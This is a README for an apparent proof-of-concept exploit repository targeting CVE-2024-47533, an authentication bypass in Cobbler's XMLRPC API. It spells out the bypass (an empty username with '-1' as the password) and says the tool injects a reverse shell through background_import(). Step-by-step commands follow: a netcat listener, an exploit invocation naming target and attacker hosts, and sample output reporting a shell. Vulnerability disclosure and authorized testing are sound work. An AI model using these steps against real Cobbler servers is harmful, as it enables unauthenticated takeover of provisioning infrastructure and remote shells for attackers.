CVE-2024-47533 – Cobbler XMLRPC Authentication Bypass → Reverse Shell (Unauthenticated RCE)

📌 Summary

This repository contains a Proof-of-Concept (PoC) exploit for CVE-2024-47533,
a critical authentication bypass in Cobbler's XMLRPC API that leads to unauthenticated remote code execution (RCE).

The exploit leverages the XMLRPC API's login() method flaw to bypass authentication and inject a reverse shell command via background_import().

⚠️ Disclaimer

This tool is intended for educational, research, and authorized penetration testing only.
Do NOT use it on systems you do not own or have explicit written permission to test.
The author assumes no liability for misuse or damages.

🛠 Technical Details

Vulnerability Type: Authentication Bypass → RCE
Affected Component: Cobbler XMLRPC API
Attack Vector: Network
Privileges Required: None
User Interaction: None

Root Cause:
utils.get_shared_secret() incorrectly returns -1 due to mishandling file reads in binary mode with an encoding, allowing authentication with an empty username and -1 as the password.

Impact:
An attacker can:

Gain admin-level API access
Inject arbitrary system commands into Cobbler templates
Spawn a reverse shell on the target

🚀 Usage

1️⃣ Clone the repository

git clone https://github.com/00xCanelo/CVE-2024-47533-PoC.git
cd CVE-2024-47533-PoC

2️⃣ Set up a listener

On your attacking machine:

nc -lvnp 4444

3️⃣ Run the exploit

python3 CVE-2024-47533.py -u http://<TARGET_IP>:<PORT>/RPC2 -l <LHOST> -p <LPORT>

Example:

python3 CVE-2024-47533.py -u http://192.168.1.50:25151/RPC2 -l 192.168.1.100 -p 4444

📂 File Structure

.
├── CVE-2024-47533.py  # Reverse shell exploit script
└── README.md          # Documentation

📸 Example Output

[*] Target: http://192.168.1.50:25151/RPC2
[*] Listener: 192.168.1.100:4444
[*] Payload: bash
[*] Connecting to Cobbler...
[*] Authenticating...
[*] Executing exploit...
[+] Exploit sent! Got A Shell 🔥.

🧑‍💻 Author

00xCanelo
GitHub Profile

CVE-2024-47533-PoC

Most Popular